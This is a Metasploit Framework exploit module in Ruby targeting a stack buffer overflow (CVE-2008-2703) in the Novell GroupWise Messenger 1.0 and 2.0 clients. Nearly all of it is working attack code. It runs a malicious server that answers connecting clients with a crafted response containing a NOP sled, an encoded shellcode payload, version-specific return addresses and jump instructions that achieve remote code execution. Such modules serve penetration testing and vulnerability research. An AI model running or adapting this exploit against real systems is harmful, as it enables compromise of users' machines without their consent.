Novell GroupWise Messenger Client Buffer Overflow

`##  
# $Id: groupwisemessenger_client.rb  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell GroupWise Messenger Client Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Novell's GroupWise Messenger Client.  
By sending a specially crafted HTTP response, an attacker may be able to execute  
arbitrary code.   
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-2703' ],  
[ 'OSVDB', '46041' ],  
[ 'BID', '29602' ],  
[ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'DisableNops' => 'True',   
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ],  
[ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'July 2 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ])  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
client.get_once  
  
date = Time.gm(2008,nil,nil,nil,nil,nil)   
rand_1 = rand_text_english(5)  
rand_2 = rand_text_english(4)  
rand_3 = rand_text_english(rand(8) + 1)  
rand_4 = rand_text_alpha_upper(8)  
rand_5 = rand_text_english(3)  
  
res = "HTTP/1.0 200\r\n"  
res << "Date: #{date}\r\n"  
res << "Pragma: no-cache\r\n"  
res << "Cache-Control: no-cache\r\n\r\n"  
res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0"  
res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive"  
res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember"  
res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts"  
res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders"  
res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast"  
res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory"  
res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave"  
res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService"  
res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000"  
res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0"  
res << "Full Name\0\20\0\0\0Client Name \0\n\0\13\0\0\0Given Name"  
res << "\0\n\0\0\0Client \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0"  
res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave"  
res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY"  
res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx"   
res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0"  
res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX"  
res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0"  
res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE"  
res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"  
res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"  
  
res << "HTTP/1.0 200\r\n"  
res << "Date: #{date}\r\n"  
res << "Pragma: no-cache\r\n"  
res << "Cache-Control: no-cache\r\n\r\n"  
res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"  
res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0"  
res << make_nops(805 - payload.encoded.length) + payload.encoded  
res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')  
res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length)  
  
print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")  
client.put(res)  
handler(client)  
  
sleep(2)  
service.close_client(client)  
end  
  
end  
`